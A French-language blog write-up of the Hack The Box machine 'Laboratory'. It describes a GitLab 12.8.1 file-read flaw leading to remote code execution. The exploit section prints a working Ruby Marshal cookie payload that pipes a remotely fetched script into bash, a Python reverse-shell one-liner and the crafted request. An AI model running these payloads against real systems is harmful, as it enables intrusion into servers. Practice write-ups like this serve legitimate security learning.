Salut à tous ! A travers cet article, nous voyagerons dans le monde la sécurité offensive. Il s’agira d’un write-up de la machine Laboratory sur Hackthebox.
C’est une box assez facile mais à travers laquelle il y a tout de même quelques choses à apprendre.
Nous procéderons ici dans les règles de l’art:
Recon > Enum > exploitation > Privesc
A vos claviers 🙂
Reconnaissance
C’est la première étape et l’une des plus importantes de votre succès ! Nous ferons cette étape avec l’outil nmap puisqu’ actuellement, la seule donnée qu’on a est juste une adresse ip ( 10.10.10.216 ). En effet, nous identifierons les ports ouverts sur cette machine.
A travers la sortie de nmap, nous identifierons le domaine laboratory.htb et le sous domaine git.laboratory.htb, trois ports ouverts.
Alors, Le port 80 retiendra premièrement notre attention. En tapant l’adresse ip dans le navigateur, il est redirigé sur le domaine laboratory.htb qui est inaccessible. Pour cela, nous ajouterons la ligne suivante dans le fichier /etc/hosts pour que les pages soient accessibles.
10.10.10.216 laboratory.htb git.laboratory.htbEn fouillant les pages de laboratory.htb , nous pouvons identifier des noms de personnes (en rouge) et pas plus.
Le code source ne nous révèle rien aussi. Le bruteforce des URLs avec l’outil dirb (pour en savoir https://www.kali-linux.fr/forum/index.php?topic=1916.0) aussi ne donne rien de concret.
Passons au sous domaine git.laboratory.htb
A ce niveau, nous tombons sur une page d’inscription de gitlab. Nous essayons de nous inscrire mais en utilisant une adresse mail quelconque du domaine principal (ex: [email protected]). En parcourant les menus, nous avons pu identifier la version du gitlab utilisé au niveau du menu help.
Il s’agit de la version 12.8.1 de gitlab. Après quelques recherches sur les éventuelles vulnérabilités liées à cette version, nous trouvons une vulnérabilité de LFI.
Exploitation
L’exploit consiste à :
- Créer un projet nommé Projet1
- Créer un projet nommé Projet2
- Créer une issue sur le projet Projet1 avec message:
 - Déplacer l’issue précedemment créée sur le Projet2
- Ainsi le contenu du fichier /etc/passwd est lisible !
Ensuite, nous nous baserons sur cela pour faire du RCE. Pour ce faire, nous allons:
- Récupérer le
secret_key_basecontenu dans le fichier/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml - Utiliser le cookie experimentation_subject_id avec le payload Marshall
A cet effet, nous allons déployer une même instance du gitlab utilisé en local grâce à docker ( en savoir plus sur docker )
Une fois docker installé, vous pouvez lancer les commandes ci-après :
docker pull gitlab/gitlab-ce:12.8.1-ce.0pour avoir l’image de la version du gitlab utilisédocker run -it gitlab/gitlab-ce:12.8.1-ce.0 /bin/bashpour démarrer l’image
Ensuite, il nous faut remplacer le secret_key_base récupéré ci-haut par celui existant le fichier /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. Pour ce faire, il nous faut suivre les étapes ci-après:
- Exécuter la commande
gitlab-ctl reconfigure - Ouvrir le fichier secrets.yml et remplacer le secret_base_key
- Exécuter la commande
gitlab-ctl restart
A présent, nous allons accéder à la console de gitlab-rail à partir de la commande gitlab-rails console et générer une cookie. Suivons…
gitlab-rails consolePayload de génération du cookie (à exécuter dans la console):
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl http://10.10.14.236:8000/rev.bash | bash` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]La quatrième instruction contient une commande de reverse shell (curl http://10.10.14.236:8000/rev.bash | bash). Il s’agit de lancer un serveur http et rendre accessible le fichier rev.bash que nous créerons nous même pour faire du reverse shell.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.20",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Après la génération du cookie, nous lancerons le listener et le serveur. Ensuite, nous lançerons une requête HTTP avec curl en y passant le cookie comme suit:
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kibyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIGh0dHA6Ly8xMC4xMC4xNC4yMzY6ODAwMC9yZXYuYmFzaCB8IGJhc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--ae1ad8130399d619943f7e0498cd6acefc90e844" -k Ainsi nous obtenons le shell. Place à l’énumération !
Enumération
A ce stade, ce lien (https://docs.gitlab.com/12.10/ee/security/reset_root_password.html) nous a été utile et nous a permis d’identifier l’utilisateur dexter et de changer son mot de passe et avoir accès à son compte.
Par la suite, on va se connecter les identifiants changés ([email protected]:secret_pass) sur la page de connexion du site git.laboratory.htb. Après connexion, on remarque deux repertoires. En parcourant le repertoire SecureDocker, nous trouvons un fichier id_rsa (clé publique ssh) dans un sous dossier du dossier dexter.
Gain d’accès
Nous récupérons le fichier et puis gagnons l’accès ssh.
Escalade de Privilège
A cette dernière étape, nous avons listé les fichiers binaire SUID/SGID à l’aide de la commande find / -type f -perm -4000 2>/dev/null. Un fameux binaire nommé docker-security retiendra notre attention. En analysant ce binaire, nous avons effectué des opérations qui nous ont conduit à l’accès root.
Bon Voilà ! A la prochaine pour d’autres choses encore plus intéressantes ! Bye
